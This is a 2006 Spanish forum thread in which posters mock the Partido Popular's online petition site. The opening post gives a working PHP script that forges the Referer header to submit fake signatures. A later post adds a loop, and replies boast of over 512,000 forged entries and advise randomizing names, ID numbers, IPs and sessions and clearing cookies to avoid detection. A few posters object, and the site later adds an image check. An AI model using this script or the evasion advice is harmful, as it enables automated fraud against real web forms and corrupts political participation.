 |
Pitido Popular Foro -no moderado y sin censura-
|
| Ver tema anterior :: Ver tema siguiente |
| Autor |
Mensaje |
Pitido Popular Site Admin
Registrado: 01 Feb 2006 Mensajes: 22
|
Publicado: Sab Feb 04, 2006 9:41 am Asunto: Nueva chapuza del otro Pitido Popular |
|
|
Acabo de hacer este script en PHP que funciona perfectamente: Ejecutándolo en cualquier ordenador, se 'vota'.
Es importante que el 'Referer' sea el que ellos esperan que sea (la dirección de su formulario en http://www.pit-pp.info/form.asp), porque su script de validación basa su seguridad en ello.
Este es un ejemplo de hasta qué niveles se puede ser incompetente y chapuzas: La seguridad del script de validación de las firmas electrónicas del Partido Popular se basa en verificar el 'Referer'... 'Referer' que puede ponerse al antojo, como demuestra este script.
En palabras no técnicas: le estoy 'diciendo' al script de validación de las firmas de esos chapuzas, que vengo por donde él espera que tengo que llegar... y él, programado por algún 'genio', se lo traga enterito... hasta la bandeta.
Toma castaña!
Ya que el principal partido de la oposición muestra tan preocupantes niveles de insolvencia técnica e irresponsabilidad con la gestión de las firmas de los ciudadanos, aprovecho la oportunidad para brindar al principal partido de la oposición los servicios profesionales de asesoría técnica del Pitido Popular.
Un saludo.
| Código: |
<?
error_reporting( E_ALL );
function Get_HTTP( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion ) {
global $err_server, $txt_resp_server, $errno, $errstr;
$referer = 'http://www.pit-pp.info/form.asp';
$posts = array ( 'txtnombre' => $txtnombre,
'txtdni' => $txtdni,
'guest_ip' => $guest_ip,
'guest_date' => $guest_date,
'guest_sesion' => $guest_sesion );
$postValues = '';
foreach( $posts AS $name => $value ) {
$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
}
$postValues = substr( $postValues, 0, -1 );
$get_timeout = 30;
$txt_resp_server = "";
$err_server = 0; # no errors
$s_Complete = parse_url($url);
$s_Host = $s_Complete["host"];
$s_Port = 80;
if( @$s_Complete["path"] == "" )
$s_Complete["path"] = "/";
$s_URI = $s_Complete["path"];
$s_URI .= $s_Complete['query'] ? '?'.$s_Complete['query'] : '';
$fp = @fsockopen( $s_Host, $s_Port, $errno, $errstr, 10 );
if ( $fp ) {
$request = "POST $s_URI HTTP/1.1\r\n";
$request .= "Host: $s_Host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Connection: Close\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";
$lenght = strlen( $postValues );
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Content-Length: $lenght\r\n";
$request .= "\r\n";
$request .= $postValues;
fputs($fp, $request);
$query_timeout = 4;
stream_set_blocking( $fp, FALSE );
stream_set_timeout( $fp, $query_timeout );
$loop_time = time();
$status = socket_get_status( $fp );
while( !feof($fp) && !$status['timed_out'] ) {
$newtext = @fread( $fp, 10000 );
$length = strlen( $newtext );
$txt_resp_server .= $newtext;
$diff = time() - $loop_time;
if( $diff > $get_timeout ) { // master timeout
$err_server = 2; # error
break;
}
$status = socket_get_status( $fp );
}
fclose( $fp );
}
else {
$err_server = 1; # error
}
return $err_server;
}
function Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, $muestra ) {
global $txt_resp_server;
$err_server = Get_HTTP( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion );
if( !$err_server ) {
$buf = substr( $txt_resp_server, 9, 3 );
if( $muestra && $buf == '302' ) {
$beg = strpos( $txt_resp_server, "Location: " );
$buf = substr( $txt_resp_server, $beg+10 );
$end = strpos( $buf, "\r\n" );
$buf = substr( $buf, 0, $end );
$s_Complete = parse_url($url);
$s_Host = $s_Complete["host"];
header("Location: http://$s_Host/$buf"); // muestra el resultado
}
}
return $err_server;
}
//////////////////////////////////////////////////////////////////
$txtnombre = 'Luis Luis Luisa'; // imaginario
$txtdni = '35518935N'; // imaginario
$guest_ip = '88.11.76.45'; // imaginario
$guest_date = '03/02/2006 13:12:55'; // imaginario
$guest_sesion = '521234567'; // imaginario
$url = 'http://www.pit-pp.info/env_form.asp?modo=1';
$err = Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, true );
echo "Error = $err<HR>"; // si llega aqui es que algo ha ido mal... se visualiza
echo "$txt_resp_server"; // si llega aqui es que algo ha ido mal... se visualiza
?>
|
|
|
| Volver arriba |
|
 |
LOL Invitado
|
Publicado: Sab Feb 04, 2006 11:27 am Asunto: |
|
|
Jóder!!!
He modificado el script para un bucle de 5 minutos y ha metido 1.398 votos!!!! (tengo una ADSL normal de 1M)
Eso significa que una sola persona, en un solo día puede meterles 402.624 votos!
Ya lo he dicho más de una vez y lo repito: Eso no es serio, lo de esa gente es preocupante.
esta es mi modificación
| Código: |
//////////////////////////////////////////////////////////////////
$cnt = 0;
$start = time();
for(;;) {
$txtnombre = '---- ------ -----'; // imaginario
$txtdni = '---------'; // imaginario
$guest_ip = '--.--.--.--'; // imaginario
$guest_date = '--/--/---- --:--:--'; // imaginario
$guest_sesion = '---------'; // imaginario
$url = 'http://www.pit-pp.info/env_form.asp?modo=1';
$err = Run( $url, $txtnombre, $txtdni, $guest_ip, $guest_date, $guest_sesion, false );
$cnt++;
if( $err || time() >= $start + 300 ) // 5 minutos
break;
}
$stop = time();
echo "start= $start<br>";
echo "stop = $stop<br>";
$stop -= $start;
echo "segundos = $stop<br>";
echo "cnt = $cnt<HR>";
echo "Error = $err<br>";
echo "$txt_resp_server";
|
|
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Sab Feb 04, 2006 11:35 am Asunto: |
|
|
Yo alucino en colores. Osea, que ya ni siquiera hay que ir a votar allí y que se puede votar en cualquier sitio???????
Joé con los nacionales! |
|
| Volver arriba |
|
 |
CHV Soft Invitado
|
Publicado: Sab Feb 04, 2006 2:07 pm Asunto: |
|
|
| Y que tengo que hacer para instalarmelo, yo quiero colaborar y no se nada de programación. |
|
| Volver arriba |
|
 |
unoquefirmó Invitado
|
Publicado: Sab Feb 04, 2006 2:29 pm Asunto: vaya forma de hacer el oso |
|
|
mientras seguis haciendo el gilipollas con las firmas en la calle hay mucha más gente de la que deseariais firmando y colaborando en la recogida de firmas.
Alguno se debe creer que lo importante de esta campaña es la solvencia técnica de los informáticos que hacen o mantienen la página web del PP.
Una cosa es que esto sea una gracieta y otra ser tan cortito que se piense que lo importante no es el fondo de la cuestión, el debate en torno al Estatut, sino el intentar revnetar y desacreditar el respaldo de muchos a la iniciativa del PP. Patético, pero así son las mesnadas de ZP. |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Sab Feb 04, 2006 5:32 pm Asunto: |
|
|
Vuestro script siempre firma con el mismo nombre, DNI, IP, fecha y numero de sesion. Eso facilita que los fascistas eliminen los votos. Deberiais modificar el script para que genere el nombre aleatoriamente entre una lista de nombres y apellidos, tambien el DNI, la fecha, la direccion IP y la sesion. De esa forma es imposible eliminar los votos, salvo que los comprueben uno por uno, cosa imposible.
Hay otros scripts que lo hacen, como este en vuestros propios foros:
http://www.pitidopopular.com/foro/viewtopic.php?t=48
o este otro:
http://codepaste.net/305 |
|
| Volver arriba |
|
 |
LOL Invitado
|
Publicado: Dom Feb 05, 2006 3:14 pm Asunto: |
|
|
bueeeeeeno bueno bueno, mi modesta aportación a la gloriosa campaña militar... digo a la de firmes, consiste en.................
318.684 firmas!!!!!
Personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online en tandas sucesivas de 1340, 119, 684, 975, 1316, 1316, 1402, 1071, 1460, 1157, 1605, 1664, 2741, 7543, 60980, 34034, 24490, 15529, 4684, 32112 y 122462 firmas cada una, para totalizar la suma de 318.684 firmas emitidas.
Maricomplejines estará contento. |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 5:20 pm Asunto: |
|
|
| Con esos programas tan chulos que hacéis, lo suyo es tenerlos activos bastante tiempo para que el número de firmas que haya en la página web supere al de la población española, esa es la mejor forma de deslegitimar por completo la pagina web |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 5:34 pm Asunto: |
|
|
| lo curioso es que creo que han dicho que tienen 800.000 firmas, demasiado pocas no? |
|
| Volver arriba |
|
 |
PPancartero Invitado
|
Publicado: Dom Feb 05, 2006 7:28 pm Asunto: Como ejecuto el script |
|
|
| Que hay que hacer para ejecutarlo en windows? |
|
| Volver arriba |
|
 |
Capitan Alatriste Invitado
|
Publicado: Dom Feb 05, 2006 7:41 pm Asunto: Re: Como ejecuto el script |
|
|
| PPancartero escribió: | | Que hay que hacer para ejecutarlo en windows? |
Eso, teneís que explicarlo para los que no sepamos de informática. (y de paso decir cual de los 3 códigos es mejor) |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 8:37 pm Asunto: |
|
|
| Para ejecutar PHP en Windows se necesita un servidor Apache. Por ejemplo, el de http://www.devside.net/ |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 9:52 pm Asunto: |
|
|
komopuedo ejecutar el scrit tengo apache instalado en ubntu y me da error al ejecutarlo...  |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Dom Feb 05, 2006 10:32 pm Asunto: |
|
|
Datos insuficientes para proporcionar una respuesta signidicativa.
(¿qué error te da, buen hombre?) |
|
| Volver arriba |
|
 |
LOL Invitado
|
Publicado: Lun Feb 06, 2006 1:31 pm Asunto: |
|
|
bueeeeeeno bueno bueno, mi modesta aportación a la gloriosa campaña militar... digo a la de firmes, consiste en.................
400.209 firmas!!!!!
Hoy 81.525 personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online y su firma ha sido aceptada, en tandas sucesivas de 104, 424, 3860, 64951 y 12186 firmas cada una, que sumadas a las anteriores hacen la bonita la suma de 400.209 firmas emitidas.
Maricomplejines estará en-cantado. |
|
| Volver arriba |
|
 |
Carolo
Registrado: 03 Feb 2006 Mensajes: 105
|
Publicado: Lun Feb 06, 2006 2:29 pm Asunto: |
|
|
Ole, ole y ole....has introducido...
400.209 firmas!!!!! con un script.
Felicidades por tu gloriosa campaña militar, tronco.
Yo he introducido 12 a manita, lo que posiblemente me ha llevao más tiempo, pero con la diferencia de que mis DNIs son auténticos...
Por cierto, mira a ver si eres capaz de hacer un script que escriba las firmas en papel (me conformo con unas 12); entonces me descubriré ante tí, artista!
Carolo está en-cantado! |
|
| Volver arriba |
|
 |
LOL Invitado
|
Publicado: Lun Feb 06, 2006 8:21 pm Asunto: |
|
|
bueeeeeeno bueno bueno, los simpáticos chicos han cambiado el sistema, así que esta es mi última y modesta aportación a la gloriosa campaña militar... digo a la de firmes.................
512.585 firmas!!!!!
Hoy 112.376 personajes diferentes con nombres diferentes, números de identificación diferentes, ipes diferentes, horas diferentes y en sesiones diferentes han firmado la petición online y su firma ha sido aceptada, en tandas sucesivas de 19979, 381, 228, 21667, 10082, 5033, 51157 y 3849 firmas cada una, que sumadas a las anteriores hacen la bonita la suma de 512.585 firmas emitidas y aceptadas.
Maricomplejines estará en-cantando con este más de medio millón de firmas!. |
|
| Volver arriba |
|
 |
Invitado
|
Publicado: Lun Feb 06, 2006 8:25 pm Asunto: |
|
|
Y ahora que han modificado la historia, ¿nadie puede crear ningún nuevo script?.
Lo digo porque siempre habrá algún agujero en la programación. |
|
| Volver arriba |
|
 |
LOL Invitado
|
Publicado: Lun Feb 06, 2006 8:42 pm Asunto: |
|
|
Han añadido verificación por imagen, así que los sistemas automatizados de firma se van al garete... pero El Monstruo de las Galletas, Piolín y El Capitán Garfio pueden seguir firmando con sus números validos, faltaría más.
Me gustaría conocer al 'genio'... joder, más de dos días ha invertido el astuto en poner remedio a los scripts... todo un prodigio de 'velocidad', vamos.
Os digo una cosa... el ridículo a nivel nacional no se lo quita ya, nadie. |
|
| Volver arriba |
|
 |
cecilio Invitado
|
Publicado: Lun Feb 06, 2006 10:29 pm Asunto: firmas en papel |
|
|
| eso es facil, se las das a un juez y que las vaya repartiendo en su juzgado, como el de Madrid |
|
| Volver arriba |
|
 |
Carolo
Registrado: 03 Feb 2006 Mensajes: 105
|
Publicado: Lun Feb 06, 2006 11:40 pm Asunto: Re: firmas en papel |
|
|
| cecilio escribió: | | eso es facil, se las das a un juez y que las vaya repartiendo en su juzgado, como el de Madrid |
No entiendo nada, macho...¿Y la Cope? ¿Qué hay de la COPE? |
|
| Volver arriba |
|
 |
Invitado Invitado
|
Publicado: Mar Feb 07, 2006 12:52 am Asunto: No entiendo esto |
|
|
La verdad es que no entiendo por que se hace esto. Yo me considero una persona progresista, pero hay ciertas actitudes que no voy a entender nunca. Resulta que los progresistas alardeamos de libertad de expresión, es más, nos quejamos de que la derecha intenta censurar. También alardeamos de tolerancia, y a la primera de cambio hacemos cosas como esta. Resulta que por muy poco que nos guste, ese formulario de firmas no representa más que la voluntad de un sector de españa, contrario a nosotros, que quiere dar su punto de vista. Y nosotros les callamos la boca al mas puro estilo facha, saboteándolo.
Mira Lol, a mi me toca mucho la moral todo el PP, pero eso que has hecho te pone a su nivel.
Para más colmo, no se si os habeis dado cuenta de algunos efectos de todo esto. Tenemos una premisa:
- ESTA RECOGIDA DE FIRMAS NO SIRVE LEGALMENTE PARA NADA.
Pero ni esta ni ninguna firma que se recoja sin una figura pública que las valide una a una. Consecuencia:
- ESTO NO ES MÁS QUE UN TEMA SIMBÓLICO Y POLÍTICO.
Pues muy bien señores, dado que las firmas no se pueden validar de ninguna manera, ya que según dicen por aqui no tienen el censo, no se pueden validar para ninguna de las dos opciones. Así que si mañana al PP le da por decir TENEMOS 5.000.000 de firmas por internet, nosotros podremos decir "no por que hemos metido 4.000.000 falsas" y ellos responder "LAS HEMOS BORRADO".
Así que desde mi punto de vista no hemos conseguido nada(bueno si, pasar un buen rato ejecutando un script que mete firmas), en sus medios van a seguir diciendo lo que quieran y nadie podrá demostrar nada. Eso si, igual que "España va bien" por todos lados sonará "Las Firmas van Bien" y la gente terminará creyéndolo, exactamente igual que el "España va bien" |
|
| Volver arriba |
|
 |
Vargas Invitado
|
Publicado: Mar Feb 07, 2006 1:53 pm Asunto: Lo que mas les puede dañar son los datos verídicos |
|
|
De poco sirve meter nombres que son identificables como falsos. Es preferible utilizar nombre y apellidos habituales, con Dni falsos y desde muchas hubicaciones, o apagando los modem aquellos que tengais ip variables. Comprobar por otra parte que vuestro ordenador no tenga cookies que delate el puesto desde el que se esté trabajando.
No hace falta matarse, con meterles unas cuantas desde cada sitio quedan suficientemente descalificados.
Por cierto, que me he encontrado en el propio foro del PP alguien que dice como se deberían haber recogido las firmas:
Ley Orgánica 3/1984, de 26 de marzo, Reguladora de la Iniciativa Legislativa Popular.
"Artículo 9. Autenticación de las firmas.
1. Junto a la firma del elector se indicará su nombre y apellidos, número del documento nacional de identidad y municipio en cuyas listas electorales se halle inscrito.
2. La firma deberá ser autenticada por un Notario, por un Secretario Judicial o por el Secretario municipal correspondiente al municipio en cuyo censo electoral se halle inscrito el firmante.
La autenticación deberá indicar la fecha y podrá ser colectiva, pliego por pliego. En este caso, junto a la fecha deberá consignarse el número de firmas contenidas en el pliego."
Todo lo demás no es más que papel mojado. |
|
| Volver arriba |
|
 |
Alejandro Saez EsCoña Invitado
|
Publicado: Mar Feb 07, 2006 5:01 pm Asunto: Ya saben que no sirve para nada |
|
|
| Lo saben, pero les da igual. Caldea el ambiente y es algo populista |
|
| Volver arriba |
|
 |
yo_soy_ese
Registrado: 03 Feb 2006 Mensajes: 229
|
Publicado: Mar Feb 07, 2006 5:07 pm Asunto: Re: firmas en papel |
|
|
| Carolo escribió: |
No entiendo nada, macho...¿Y la Cope? ¿Qué hay de la COPE? |
La COPE sucks |
|
| Volver arriba |
|
 |
|
|
Puede publicar nuevos temas en este foro No puede responder a temas en este foro No puede editar sus mensajes en este foro No puede borrar sus mensajes en este foro No puede votar en encuestas en este foro
|
Powered by phpBB © 2001, 2005 phpBB Group
|